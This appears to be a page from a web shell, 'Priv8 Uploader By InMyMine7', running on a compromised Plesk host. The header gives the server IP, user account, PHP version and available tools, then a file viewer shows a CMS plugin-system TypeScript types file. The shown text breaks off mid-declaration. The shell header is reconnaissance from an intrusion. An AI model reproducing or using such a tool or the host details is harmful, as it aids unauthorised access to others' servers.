GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/emdash/src/plugins/ |
Upload File : |
/**
* Plugin System Types v2
*
* New plugin API with:
* - Single unified context shape for all hooks and routes
* - Paginated storage queries (no async iterators)
* - Unified KV API (replaces settings + options)
* - Explicit ctx.http and ctx.log
*
*/
import type { Element } from "@emdash-cms/blocks";
// The plugin capability vocabulary, the legacy-rename map, and the manifest
// shape are authored once in @emdash-cms/plugin-types and shared between core
// (the manifest reader at install/runtime) and @emdash-cms/registry-cli (the
// manifest writer at bundle/publish time).
//
// We import-and-re-export here so existing internal callers keep working
// (e.g. `import { PluginCapability } from "../plugins/types.js"`).
import {
CAPABILITY_RENAMES,
isDeprecatedCapability,
normalizeCapabilities,
normalizeCapability,
type CurrentPluginCapability,
type DeprecatedPluginCapability,
type ManifestHookEntry,
type ManifestRouteEntry,
type PluginCapability,
type PluginStorageConfig,
type StorageCollectionConfig,
} from "@emdash-cms/plugin-types";
import type { JSX } from "astro/jsx-runtime";
import type { z } from "astro/zod";
// =============================================================================
// Core Types
// =============================================================================
import type { FieldType } from "../schema/types.js";
export {
CAPABILITY_RENAMES,
isDeprecatedCapability,
normalizeCapabilities,
normalizeCapability,
type CurrentPluginCapability,
type DeprecatedPluginCapability,
type ManifestHookEntry,
type ManifestRouteEntry,
type PluginCapability,
type PluginStorageConfig,
type StorageCollectionConfig,
};
// =============================================================================
// Storage Types
// =============================================================================
//
// `StorageCollectionConfig` and `PluginStorageConfig` are re-exported above
// from `@emdash-cms/plugin-types`. The manifest carries these shapes
// verbatim; both this package (reader) and registry-cli (writer) agree on
// the same types via the shared package.
/**
* Query filter operators
*/
export interface RangeFilter {
gt?: number | string;
gte?: number | string;
lt?: number | string;
lte?: number | string;
}
export interface InFilter {
in: Array<string | number>;
}
export interface StartsWithFilter {
startsWith: string;
}
/**
* Where clause value types
*/
export type WhereValue =
| string
| number
| boolean
| null
| RangeFilter
| InFilter
| StartsWithFilter;
/**
* Where clause for storage queries
*/
export type WhereClause = Record<string, WhereValue>;
/**
* Query options for storage.query()
*/
export interface QueryOptions {
where?: WhereClause;
orderBy?: Record<string, "asc" | "desc">;
limit?: number; // Default 50, max 1000
cursor?: string;
}
/**
* Paginated result (used by storage.query, content.list, media.list)
*/
export interface PaginatedResult<T> {
items: T[];
cursor?: string;
hasMore: boolean;
}
/**
* Storage collection interface - the API exposed to plugins
* No async iterators - all operations return promises with pagination
*/
export interface StorageCollection<T = unknown> {
// Basic CRUD
get(id: string): Promise<T | null>;
put(id: string, data: T): Promise<void>;
delete(id: string): Promise<boolean>;
exists(id: string): Promise<boolean>;
// Batch operations
getMany(ids: string[]): Promise<Map<string, T>>;
putMany(items: Array<{ id: string; data: T }>): Promise<void>;
deleteMany(ids: string[]): Promise<number>;
// Query - always paginated
query(options?: QueryOptions): Promise<PaginatedResult<{ id: string; data: T }>>;
count(where?: WhereClause): Promise<number>;
}
/**
* Plugin storage context - typed based on declared collections
*/
export type PluginStorage<T extends PluginStorageConfig> = {
[K in keyof T]: StorageCollection;
};
// =============================================================================
// Context APIs
// =============================================================================
/**
* KV store interface - unified replacement for settings + options
*
* Convention:
* - `settings:*` - User-configurable preferences (shown in admin UI)
* - `state:*` - Internal plugin state (not shown to users)
*/
export interface KVAccess {
get<T>(key: string): Promise<T | null>;
set(key: string, value: unknown): Promise<void>;
delete(key: string): Promise<boolean>;
list(prefix?: string): Promise<Array<{ key: string; value: unknown }>>;
}
/**
* SEO metadata for a content item, as stored in the core SEO panel.
*
* Only present on items in collections with `has_seo = 1`. For collections
* without SEO enabled, `ContentItem.seo` is `undefined`.
*/
export interface ContentItemSeo {
title: string | null;
description: string | null;
image: string | null;
canonical: string | null;
noIndex: boolean;
}
/**
* SEO input accepted by content write operations.
*
* All fields are optional — only fields that are present overwrite existing
* values. An empty object is treated as a no-op.
*/
export interface ContentItemSeoInput {
title?: string | null;
description?: string | null;
image?: string | null;
canonical?: string | null;
noIndex?: boolean;
}
/**
* Content item returned from content API
*/
export interface ContentItem {
id: string;
type: string;
slug: string | null;
status: string;
locale: string | null;
data: Record<string, unknown>;
/**
* SEO metadata, populated when the collection has SEO enabled
* (`has_seo = 1`). `undefined` for non-SEO collections.
*/
seo?: ContentItemSeo;
createdAt: string;
updatedAt: string;
publishedAt: string | null;
}
export interface ContentListWhere {
/** Exact match on `status` (e.g. `"published"`, `"draft"`). */
status?: string;
/** Exact match on `locale` (e.g. `"en"`, `"fr-CA"`). */
locale?: string;
}
/**
* Content list options
*/
export interface ContentListOptions {
limit?: number;
cursor?: string;
orderBy?: Record<string, "asc" | "desc">;
where?: ContentListWhere;
}
/**
* Input accepted by `content.create` / `content.update`.
*
* Most entries are field slugs mapped to their values. The reserved `seo`
* key is extracted and routed to the core SEO panel (the `_emdash_seo`
* table), matching the shape accepted by the REST API. Passing `seo` for a
* collection that does not have SEO enabled throws a validation error.
*/
export type ContentWriteInput = Record<string, unknown> & {
seo?: ContentItemSeoInput;
};
/**
* Content access interface - capability-gated
*/
export interface ContentAccess {
// Read operations (requires read:content)
get(collection: string, id: string): Promise<ContentItem | null>;
list(collection: string, options?: ContentListOptions): Promise<PaginatedResult<ContentItem>>;
// Write operations (requires write:content) - optional on interface
create?(collection: string, data: ContentWriteInput): Promise<ContentItem>;
update?(collection: string, id: string, data: ContentWriteInput): Promise<ContentItem>;
delete?(collection: string, id: string): Promise<boolean>;
}
/**
* Full content access with write operations
*/
export interface ContentAccessWithWrite extends ContentAccess {
create(collection: string, data: ContentWriteInput): Promise<ContentItem>;
update(collection: string, id: string, data: ContentWriteInput): Promise<ContentItem>;
delete(collection: string, id: string): Promise<boolean>;
}
/**
* Media item returned from media API
*/
export interface MediaItem {
id: string;
filename: string;
mimeType: string;
size: number | null;
url: string;
createdAt: string;
}
/**
* Media list options
*/
export interface MediaListOptions {
limit?: number;
cursor?: string;
mimeType?: string; // Filter by mime type prefix, e.g., "image/"
}
/**
* Media access interface - capability-gated
*/
export interface MediaAccess {
// Read operations (requires read:media)
get(id: string): Promise<MediaItem | null>;
list(options?: MediaListOptions): Promise<PaginatedResult<MediaItem>>;
// Write operations (requires write:media) - optional on interface
getUploadUrl?(
filename: string,
contentType: string,
): Promise<{ uploadUrl: string; mediaId: string }>;
/**
* Upload media bytes directly. Preferred in sandboxed mode where
* plugins cannot make external requests to a presigned URL.
* Returns the created media item.
*/
upload?(
filename: string,
contentType: string,
bytes: ArrayBuffer,
): Promise<{ mediaId: string; storageKey: string; url: string }>;
delete?(id: string): Promise<boolean>;
}
/**
* Full media access with write operations
*/
export interface MediaAccessWithWrite extends MediaAccess {
getUploadUrl(
filename: string,
contentType: string,
): Promise<{ uploadUrl: string; mediaId: string }>;
upload(
filename: string,
contentType: string,
bytes: ArrayBuffer,
): Promise<{ mediaId: string; storageKey: string; url: string }>;
delete(id: string): Promise<boolean>;
}
/**
* HTTP client interface - requires network:fetch capability
*/
export interface HttpAccess {
fetch(url: string, init?: RequestInit): Promise<Response>;
}
/**
* Logger interface - always available
*/
export interface LogAccess {
debug(message: string, data?: unknown): void;
info(message: string, data?: unknown): void;
warn(message: string, data?: unknown): void;
error(message: string, data?: unknown): void;
}
// =============================================================================
// Site & User Access
// =============================================================================
/**
* Site information available to all plugins
*/
export interface SiteInfo {
/** Site name (from settings) */
name: string;
/** Site URL (from settings or request) */
url: string;
/** Site locale (from settings, defaults to "en") */
locale: string;
}
/**
* Read-only user information exposed to plugins.
* Sensitive fields (password hashes, sessions, passkeys) are excluded.
*/
export interface UserInfo {
id: string;
email: string;
name: string | null;
role: number;
createdAt: string;
}
/**
* User access interface - requires read:users capability
*/
export interface UserAccess {
/** Get a user by ID */
get(id: string): Promise<UserInfo | null>;
/** Get a user by email */
getByEmail(email: string): Promise<UserInfo | null>;
/** List users with optional filters */
list(opts?: { role?: number; limit?: number; cursor?: string }): Promise<{
items: UserInfo[];
nextCursor?: string;
}>;
}
// =============================================================================
// Plugin Context
// =============================================================================
/**
* The unified plugin context - same shape for all hooks and routes
*/
export interface PluginContext<TStorage extends PluginStorageConfig = PluginStorageConfig> {
/** Plugin metadata */
plugin: {
id: string;
version: string;
};
/** Storage collections - only if plugin declares storage */
storage: PluginStorage<TStorage>;
/** Key-value store for config and state */
kv: KVAccess;
/** Content access - only if read:content or write:content capability */
content?: ContentAccess | ContentAccessWithWrite;
/** Media access - only if read:media or write:media capability */
media?: MediaAccess | MediaAccessWithWrite;
/** HTTP client - only if network:fetch capability */
http?: HttpAccess;
/** Logger - always available */
log: LogAccess;
/** Site information - always available */
site: SiteInfo;
/** URL helper - generates absolute URLs from paths. Always available. */
url(path: string): string;
/** User access - only if read:users capability */
users?: UserAccess;
/** Cron task scheduling - always available, scoped to plugin */
cron?: CronAccess;
/** Email access - only if email:send capability and a provider is configured */
email?: EmailAccess;
}
// =============================================================================
// Cron Types
// =============================================================================
/**
* Cron access interface �� always available on plugin context, scoped to plugin.
*/
export interface CronAccess {
/** Schedule a recurring or one-shot task */
schedule(name: string, opts: { schedule: string; data?: Record<string, unknown> }): Promise<void>;
/** Cancel a scheduled task */
cancel(name: string): Promise<void>;
/** List this plugin's scheduled tasks */
list(): Promise<CronTaskInfo[]>;
}
/**
* Task info returned from CronAccess.list()
*/
export interface CronTaskInfo {
name: string;
schedule: string;
nextRunAt: string;
lastRunAt: string | null;
}
/**
* Event passed to the `cron` hook handler
*/
export interface CronEvent {
name: string;
data?: Record<string, unknown>;
scheduledAt: string;
}
/**
* Cron hook handler type
*/
export type CronHandler = (event: CronEvent, ctx: PluginContext) => Promise<void>;
// =============================================================================
// Email Types
// =============================================================================
/**
* Email access interface — requires `email:send` capability.
* Undefined when no `email:deliver` provider is configured.
*
* Related capabilities:
* - `email:send` — grants ctx.email (this interface)
* - `email:provide` — allows registering the `email:deliver` exclusive hook
* - `email:intercept` — allows registering `email:beforeSend` / `email:afterSend` hooks
*/
export interface EmailAccess {
send(message: EmailMessage): Promise<void>;
}
/**
* Email message shape
*/
export interface EmailMessage {
to: string;
subject: string;
text: string;
html?: string;
}
/**
* Event passed to email:beforeSend hooks (middleware — transform, validate, cancel)
*/
export interface EmailBeforeSendEvent {
message: EmailMessage;
/** Where the email originated — "system" for auth emails, plugin ID for plugin emails */
source: string;
}
/**
* Event passed to email:deliver hook (exclusive — exactly one provider delivers)
*/
export interface EmailDeliverEvent {
message: EmailMessage;
source: string;
}
/**
* Event passed to email:afterSend hooks (logging, analytics, fire-and-forget)
*/
export interface EmailAfterSendEvent {
message: EmailMessage;
source: string;
}
/**
* Handler type for email:beforeSend hooks.
* Returns modified message, or false to cancel delivery.
*/
export type EmailBeforeSendHandler = (
event: EmailBeforeSendEvent,
ctx: PluginContext,
) => Promise<EmailMessage | false>;
/**
* Handler type for email:deliver hooks (exclusive provider).
*/
export type EmailDeliverHandler = (event: EmailDeliverEvent, ctx: PluginContext) => Promise<void>;
/**
* Handler type for email:afterSend hooks (fire-and-forget).
*/
export type EmailAfterSendHandler = (
event: EmailAfterSendEvent,
ctx: PluginContext,
) => Promise<void>;
// =============================================================================
// Comment Types
// =============================================================================
/**
* Collection comment settings (read from _emdash_collections)
*/
export interface CollectionCommentSettings {
commentsEnabled: boolean;
commentsModeration: "all" | "first_time" | "none";
commentsClosedAfterDays: number;
commentsAutoApproveUsers: boolean;
}
/**
* Event passed to comment:beforeCreate hooks (middleware — transform, enrich, reject)
*/
export interface CommentBeforeCreateEvent {
comment: {
collection: string;
contentId: string;
parentId: string | null;
authorName: string;
authorEmail: string;
authorUserId: string | null;
body: string;
ipHash: string | null;
userAgent: string | null;
};
/** Metadata bag — plugins can attach signals for the moderator */
metadata: Record<string, unknown>;
}
/**
* Event passed to comment:moderate hook (exclusive — decides initial status)
*/
export interface CommentModerateEvent {
comment: CommentBeforeCreateEvent["comment"];
metadata: Record<string, unknown>;
collectionSettings: CollectionCommentSettings;
/** Number of prior approved comments from this email address */
priorApprovedCount: number;
}
/**
* Moderation decision returned by the comment:moderate handler
*/
export interface ModerationDecision {
status: "approved" | "pending" | "spam";
/** Optional reason for admin visibility */
reason?: string;
}
/**
* Stored comment shape (full record with id, status, timestamps)
*/
export interface StoredComment {
id: string;
collection: string;
contentId: string;
parentId: string | null;
authorName: string;
authorEmail: string;
authorUserId: string | null;
body: string;
status: string;
moderationMetadata: Record<string, unknown> | null;
createdAt: string;
updatedAt: string;
}
/**
* Event passed to comment:afterCreate hooks (fire-and-forget)
*/
export interface CommentAfterCreateEvent {
comment: StoredComment;
metadata: Record<string, unknown>;
/** The content item the comment is on */
content: { id: string; collection: string; slug: string; title?: string };
/** The content author (for notifications) */
contentAuthor?: { id: string; name: string | null; email: string };
}
/**
* Event passed to comment:afterModerate hooks (fire-and-forget, admin status change)
*/
export interface CommentAfterModerateEvent {
comment: StoredComment;
previousStatus: string;
newStatus: string;
/** The admin who moderated */
moderator: { id: string; name: string | null };
}
/**
* Handler type for comment:beforeCreate hooks.
* Returns modified event, or false to reject the comment.
*/
export type CommentBeforeCreateHandler = (
event: CommentBeforeCreateEvent,
ctx: PluginContext,
) => Promise<CommentBeforeCreateEvent | false | void>;
/**
* Handler type for comment:moderate hook (exclusive provider).
*/
export type CommentModerateHandler = (
event: CommentModerateEvent,
ctx: PluginContext,
) => Promise<ModerationDecision>;
/**
* Handler type for comment:afterCreate hooks (fire-and-forget).
*/
export type CommentAfterCreateHandler = (
event: CommentAfterCreateEvent,
ctx: PluginContext,
) => Promise<void>;
/**
* Handler type for comment:afterModerate hooks (fire-and-forget).
*/
export type CommentAfterModerateHandler = (
event: CommentAfterModerateEvent,
ctx: PluginContext,
) => Promise<void>;
// =============================================================================
// Hook Types
// =============================================================================
/**
* Hook configuration
*/
export interface HookConfig<THandler> {
/** Explicit ordering - lower numbers run first (default: 100) */
priority?: number;
/** Max execution time in ms (default: 5000) */
timeout?: number;
/** Run after these plugins */
dependencies?: string[];
/** Error handling policy */
errorPolicy?: "continue" | "abort";
/**
* Mark this hook as exclusive — only one plugin can be the active provider.
* Exclusive hooks skip the priority pipeline and dispatch only to the
* admin-selected provider. Used for email:deliver, search, image optimization, etc.
*/
exclusive?: boolean;
/** The hook handler */
handler: THandler;
}
/**
* Content hook event
*/
export interface ContentHookEvent {
content: Record<string, unknown>;
collection: string;
isNew: boolean;
}
/**
* Content delete hook event
*/
export interface ContentDeleteEvent {
id: string;
collection: string;
/** `true` when the content is permanently deleted (not just trashed). */
permanent: boolean;
}
/**
* Content publish state change hook event (fired after publish or unpublish)
*/
export interface ContentPublishStateChangeEvent {
content: Record<string, unknown>;
collection: string;
}
/**
* Media hook event
*/
export interface MediaUploadEvent {
file: { name: string; type: string; size: number };
}
/**
* Media after upload event
*/
export interface MediaAfterUploadEvent {
media: MediaItem;
}
/**
* Lifecycle hook event
*/
export interface LifecycleEvent {
// Empty for install/activate/deactivate
}
/**
* Uninstall hook event
*/
export interface UninstallEvent {
deleteData: boolean;
}
// Hook handler types - all receive (event, ctx) with unified context
export type ContentBeforeSaveHandler = (
event: ContentHookEvent,
ctx: PluginContext,
) => Promise<Record<string, unknown> | void>;
export type ContentAfterSaveHandler = (
event: ContentHookEvent,
ctx: PluginContext,
) => Promise<void>;
export type ContentBeforeDeleteHandler = (
event: ContentDeleteEvent,
ctx: PluginContext,
) => Promise<boolean | void>;
export type ContentAfterDeleteHandler = (
event: ContentDeleteEvent,
ctx: PluginContext,
) => Promise<void>;
export type ContentAfterPublishHandler = (
event: ContentPublishStateChangeEvent,
ctx: PluginContext,
) => Promise<void>;
export type ContentAfterUnpublishHandler = (
event: ContentPublishStateChangeEvent,
ctx: PluginContext,
) => Promise<void>;
export type MediaBeforeUploadHandler = (
event: MediaUploadEvent,
ctx: PluginContext,
) => Promise<{ name: string; type: string; size: number } | void>;
export type MediaAfterUploadHandler = (
event: MediaAfterUploadEvent,
ctx: PluginContext,
) => Promise<void>;
export type LifecycleHandler = (event: LifecycleEvent, ctx: PluginContext) => Promise<void>;
export type UninstallHandler = (event: UninstallEvent, ctx: PluginContext) => Promise<void>;
// =============================================================================
// Public Page Contribution Types
// =============================================================================
/** Placement targets for page fragment contributions */
export type PagePlacement = "head" | "body:start" | "body:end";
/**
* A single breadcrumb trail item. Used by `PublicPageContext.breadcrumbs`
* so themes can publish breadcrumb trails that SEO plugins consume.
*/
export interface BreadcrumbItem {
/** Display name for this crumb (e.g. "Home", "Blog", "My Post"). */
name: string;
/** Absolute or root-relative URL for this crumb. */
url: string;
}
/**
* Describes the page being rendered. Passed to page hooks so plugins
* can decide what to contribute without fetching content themselves.
*/
export interface PublicPageContext {
url: string;
path: string;
locale: string | null;
kind: "content" | "custom";
pageType: string;
/** Full document title for the rendered page */
title: string | null;
/** Page-only title for OG/Twitter/JSON-LD headline output */
pageTitle?: string | null;
description: string | null;
canonical: string | null;
image: string | null;
content?: {
collection: string;
id: string;
slug: string | null;
};
/** SEO meta for base metadata generation in EmDashHead */
seo?: {
ogTitle?: string | null;
ogDescription?: string | null;
ogImage?: string | null;
robots?: string | null;
};
/** Article metadata for Open Graph article: tags */
articleMeta?: {
publishedTime?: string | null;
modifiedTime?: string | null;
author?: string | null;
};
/** Site name for structured data and og:site_name */
siteName?: string;
/**
* Optional breadcrumb trail for this page, root first. When set,
* SEO plugins should use this verbatim rather than deriving a trail
* from `path`. Themes typically populate this at the point they
* build the context (e.g. from a content hierarchy walk, taxonomy
* lookup, or per-`pageType` routing logic).
*
* Semantics for consumers:
* - `undefined` — theme has no opinion; consumer falls back to
* its own derivation.
* - `[]` — this page has no breadcrumbs (e.g. homepage); consumer
* should skip `BreadcrumbList` emission entirely.
* - Non-empty array — used verbatim for `BreadcrumbList` output.
*/
breadcrumbs?: BreadcrumbItem[];
/** Public-facing site URL (origin) for structured data */
siteUrl?: string;
}
// ── page:metadata ───────────────────────────────────────────────
export interface PageMetadataEvent {
page: PublicPageContext;
}
/**
* Allowed rel values for link contributions.
* This is a security-critical allowlist -- sandboxed plugins can only inject
* link tags with these rel values. Adding "stylesheet", "prefetch", "prerender"
* etc. would allow sandboxed plugins to inject external resources.
*/
export type PageMetadataLinkRel =
| "canonical"
| "alternate"
| "author"
| "license"
| "nlweb"
| "site.standard.document";
export type PageMetadataContribution =
| { kind: "meta"; name: string; content: string; key?: string }
| { kind: "property"; property: string; content: string; key?: string }
| { kind: "link"; rel: PageMetadataLinkRel; href: string; hreflang?: string; key?: string }
| {
kind: "jsonld";
id?: string;
graph: Record<string, unknown> | Array<Record<string, unknown>>;
};
export type PageMetadataHandler = (
event: PageMetadataEvent,
ctx: PluginContext,
) =>
| PageMetadataContribution
| PageMetadataContribution[]
| null
| Promise<PageMetadataContribution | PageMetadataContribution[] | null>;
// ── page:fragments (trusted-only) ──────────────────────────────
export interface PageFragmentEvent {
page: PublicPageContext;
}
export type PageFragmentContribution =
| {
kind: "external-script";
placement: PagePlacement;
src: string;
async?: boolean;
defer?: boolean;
attributes?: Record<string, string>;
key?: string;
}
| {
kind: "inline-script";
placement: PagePlacement;
code: string;
attributes?: Record<string, string>;
key?: string;
}
| {
kind: "html";
placement: PagePlacement;
html: string;
key?: string;
};
export type PageFragmentHandler = (
event: PageFragmentEvent,
ctx: PluginContext,
) =>
| PageFragmentContribution
| PageFragmentContribution[]
| null
| Promise<PageFragmentContribution | PageFragmentContribution[] | null>;
/**
* Plugin hooks definition
*/
export interface PluginHooks {
// Lifecycle hooks
"plugin:install"?: HookConfig<LifecycleHandler> | LifecycleHandler;
"plugin:activate"?: HookConfig<LifecycleHandler> | LifecycleHandler;
"plugin:deactivate"?: HookConfig<LifecycleHandler> | LifecycleHandler;
"plugin:uninstall"?: HookConfig<UninstallHandler> | UninstallHandler;
// Content hooks
"content:beforeSave"?: HookConfig<ContentBeforeSaveHandler> | ContentBeforeSaveHandler;
"content:afterSave"?: HookConfig<ContentAfterSaveHandler> | ContentAfterSaveHandler;
"content:beforeDelete"?: HookConfig<ContentBeforeDeleteHandler> | ContentBeforeDeleteHandler;
"content:afterDelete"?: HookConfig<ContentAfterDeleteHandler> | ContentAfterDeleteHandler;
"content:afterPublish"?: HookConfig<ContentAfterPublishHandler> | ContentAfterPublishHandler;
"content:afterUnpublish"?:
| HookConfig<ContentAfterUnpublishHandler>
| ContentAfterUnpublishHandler;
// Media hooks
"media:beforeUpload"?: HookConfig<MediaBeforeUploadHandler> | MediaBeforeUploadHandler;
"media:afterUpload"?: HookConfig<MediaAfterUploadHandler> | MediaAfterUploadHandler;
// Cron hook
cron?: HookConfig<CronHandler> | CronHandler;
// Email hooks
"email:beforeSend"?: HookConfig<EmailBeforeSendHandler> | EmailBeforeSendHandler;
"email:deliver"?: HookConfig<EmailDeliverHandler> | EmailDeliverHandler;
"email:afterSend"?: HookConfig<EmailAfterSendHandler> | EmailAfterSendHandler;
// Comment hooks
"comment:beforeCreate"?: HookConfig<CommentBeforeCreateHandler> | CommentBeforeCreateHandler;
"comment:moderate"?: HookConfig<CommentModerateHandler> | CommentModerateHandler;
"comment:afterCreate"?: HookConfig<CommentAfterCreateHandler> | CommentAfterCreateHandler;
"comment:afterModerate"?: HookConfig<CommentAfterModerateHandler> | CommentAfterModerateHandler;
// Public page hooks
"page:metadata"?: HookConfig<PageMetadataHandler> | PageMetadataHandler;
"page:fragments"?: HookConfig<PageFragmentHandler> | PageFragmentHandler;
}
/**
* Hook names
*/
/**
* Hook name in a manifest. Core's exhaustive union of recognised hook names,
* derived from the `PluginHooks` registry. The serialised manifest carries
* these as opaque strings; this stricter type is only used for type-checking
* inside core. `ManifestHookEntry` is re-exported from
* `@emdash-cms/plugin-types` near the top of this file.
*/
export type HookName = keyof PluginHooks;
/**
* Resolved hook with normalized config
*/
export interface ResolvedHook<THandler> {
priority: number;
timeout: number;
dependencies: string[];
errorPolicy: "continue" | "abort";
/** Whether this hook is exclusive (provider pattern) */
exclusive: boolean;
handler: THandler;
pluginId: string;
}
// =============================================================================
// Request Metadata Types
// =============================================================================
/**
* Geographic location information derived from the request.
* Available when running on Cloudflare Workers (via the `cf` object).
*/
export interface GeoInfo {
country: string | null;
region: string | null;
city: string | null;
}
/**
* Normalized request metadata available to plugin route handlers.
* Extracted from request headers and platform-specific properties.
*/
export interface RequestMeta {
ip: string | null;
userAgent: string | null;
referer: string | null;
geo: GeoInfo | null;
}
// =============================================================================
// Route Types
// =============================================================================
/**
* Route handler context extends plugin context with request-specific data
*/
export interface RouteContext<TInput = unknown> extends PluginContext {
/** Validated input from request body */
input: TInput;
/** Original request */
request: Request;
/** Normalized request metadata (IP, user agent, geo) */
requestMeta: RequestMeta;
}
/**
* Route definition
*/
export interface PluginRoute<TInput = unknown> {
/** Zod schema for input validation */
input?: z.ZodType<TInput>;
/**
* Mark this route as publicly accessible (no authentication required).
* Public routes skip session/token auth and CSRF checks.
*/
public?: boolean;
/** Route handler */
handler: (ctx: RouteContext<TInput>) => Promise<unknown>;
}
// =============================================================================
// Plugin Definition
// =============================================================================
/**
* Admin page definition
*/
export interface PluginAdminPage {
path: string;
label: string;
icon?: string;
}
/**
* Dashboard widget definition
*/
export interface PluginDashboardWidget {
id: string;
size?: "full" | "half" | "third";
title?: string;
}
/**
* Settings field types (for admin UI generation)
*/
export type SettingFieldType =
| "string"
| "number"
| "boolean"
| "select"
| "secret"
| "url"
| "email";
export interface BaseSettingField {
type: SettingFieldType;
label: string;
description?: string;
}
export interface StringSettingField extends BaseSettingField {
type: "string";
default?: string;
multiline?: boolean;
}
export interface NumberSettingField extends BaseSettingField {
type: "number";
default?: number;
min?: number;
max?: number;
}
export interface BooleanSettingField extends BaseSettingField {
type: "boolean";
default?: boolean;
}
export interface SelectSettingField extends BaseSettingField {
type: "select";
options: Array<{ value: string; label: string }>;
default?: string;
}
export interface SecretSettingField extends BaseSettingField {
type: "secret";
}
export interface UrlSettingField extends BaseSettingField {
type: "url";
default?: string;
placeholder?: string;
}
export interface EmailSettingField extends BaseSettingField {
type: "email";
default?: string;
placeholder?: string;
}
export type SettingField =
| StringSettingField
| NumberSettingField
| BooleanSettingField
| SelectSettingField
| SecretSettingField
| UrlSettingField
| EmailSettingField;
/**
* Block Kit element for block editing fields.
* This is the `Element` discriminated union from `@emdash-cms/blocks`.
* Plugin authors should use `@emdash-cms/blocks` builder functions to create these.
*/
export type PortableTextBlockField = Element;
/**
* Configuration for a Portable Text block type contributed by a plugin
*/
export interface PortableTextBlockConfig {
/** Block type name (must match the `_type` in Portable Text) */
type: string;
/** Human-readable label shown in slash commands and modals */
label: string;
/** Icon key (e.g., "video", "code", "link", "link-external") */
icon?: string;
/** Description shown in slash command menu */
description?: string;
/** Placeholder text for the URL input */
placeholder?: string;
/** Block Kit form fields for the editing UI. If declared, replaces the simple URL input. */
fields?: PortableTextBlockField[];
/**
* Optional. Display category in the slash menu. Defaults to "Embeds".
*
* Plugin authors should pick a meaningful category that reflects what the
* block actually is — e.g. "Sections", "Marketing", "Media", "Embeds",
* "Layout". Blocks with the same category are grouped together in the
* editor's slash menu.
*/
category?: string;
}
/**
* Configuration for a field widget type contributed by a plugin.
* A field widget provides a custom editing UI for a schema field.
* The field references the widget via `widget: "pluginId:widgetName"`.
*/
export interface FieldWidgetConfig {
/** Widget name (without plugin ID prefix) */
name: string;
/** Human-readable label for the admin UI */
label: string;
/** Which field types this widget can edit (e.g., ["json", "string"]) */
fieldTypes: FieldType[];
/** Block Kit elements for sandboxed rendering. Omit for trusted plugins using React. */
elements?: Element[];
}
/**
* Admin configuration
*/
export interface PluginAdminConfig {
/** Module specifier for admin UI exports (e.g., "@emdash-cms/plugin-audit-log/admin") */
entry?: string;
/** Settings schema for auto-generated UI */
settingsSchema?: Record<string, SettingField>;
/** Admin pages */
pages?: PluginAdminPage[];
/** Dashboard widgets */
widgets?: PluginDashboardWidget[];
/** Portable Text block types this plugin provides */
portableTextBlocks?: PortableTextBlockConfig[];
/** Field widget types this plugin provides */
fieldWidgets?: FieldWidgetConfig[];
}
/**
* Plugin definition - input to definePlugin()
*/
export interface PluginDefinition<TStorage extends PluginStorageConfig = PluginStorageConfig> {
/** Unique plugin identifier */
id: string;
/** Plugin version (semver) */
version: string;
/** Declared capabilities */
capabilities?: PluginCapability[];
/** Allowed hosts for network:fetch (wildcards supported: *.example.com) */
allowedHosts?: string[];
/** Storage collections with indexes */
storage?: TStorage;
/** Hooks */
hooks?: PluginHooks;
/** API routes */
routes?: Record<string, PluginRoute>;
/** Admin UI configuration */
admin?: PluginAdminConfig;
}
/**
* Resolved plugin - after definePlugin() processing
*/
export interface ResolvedPlugin<TStorage extends PluginStorageConfig = PluginStorageConfig> {
id: string;
version: string;
capabilities: PluginCapability[];
allowedHosts: string[];
storage: TStorage;
hooks: ResolvedPluginHooks;
routes: Record<string, PluginRoute>;
admin: PluginAdminConfig;
}
/**
* Resolved hooks with normalized config
*/
export interface ResolvedPluginHooks {
"plugin:install"?: ResolvedHook<LifecycleHandler>;
"plugin:activate"?: ResolvedHook<LifecycleHandler>;
"plugin:deactivate"?: ResolvedHook<LifecycleHandler>;
"plugin:uninstall"?: ResolvedHook<UninstallHandler>;
"content:beforeSave"?: ResolvedHook<ContentBeforeSaveHandler>;
"content:afterSave"?: ResolvedHook<ContentAfterSaveHandler>;
"content:beforeDelete"?: ResolvedHook<ContentBeforeDeleteHandler>;
"content:afterDelete"?: ResolvedHook<ContentAfterDeleteHandler>;
"content:afterPublish"?: ResolvedHook<ContentAfterPublishHandler>;
"content:afterUnpublish"?: ResolvedHook<ContentAfterUnpublishHandler>;
"media:beforeUpload"?: ResolvedHook<MediaBeforeUploadHandler>;
"media:afterUpload"?: ResolvedHook<MediaAfterUploadHandler>;
cron?: ResolvedHook<CronHandler>;
"email:beforeSend"?: ResolvedHook<EmailBeforeSendHandler>;
"email:deliver"?: ResolvedHook<EmailDeliverHandler>;
"email:afterSend"?: ResolvedHook<EmailAfterSendHandler>;
"comment:beforeCreate"?: ResolvedHook<CommentBeforeCreateHandler>;
"comment:moderate"?: ResolvedHook<CommentModerateHandler>;
"comment:afterCreate"?: ResolvedHook<CommentAfterCreateHandler>;
"comment:afterModerate"?: ResolvedHook<CommentAfterModerateHandler>;
"page:metadata"?: ResolvedHook<PageMetadataHandler>;
"page:fragments"?: ResolvedHook<PageFragmentHandler>;
}
// =============================================================================
// Standard Plugin Format (Unified Plugin Format)
// =============================================================================
/**
* Standard plugin hook handler -- same as sandbox entry format.
* Receives the event as the first argument and a PluginContext as the second.
*
* Plugin authors annotate their event parameters with specific types for IDE
* support. At the type level, we accept any function with compatible arity.
*/
// eslint-disable-next-line typescript-eslint/no-explicit-any -- must accept handlers with specific event types
export type StandardHookHandler = (...args: any[]) => Promise<any>;
/**
* Standard plugin hook entry -- either a bare handler or a config object.
*/
export type StandardHookEntry =
| StandardHookHandler
| {
handler: StandardHookHandler;
priority?: number;
timeout?: number;
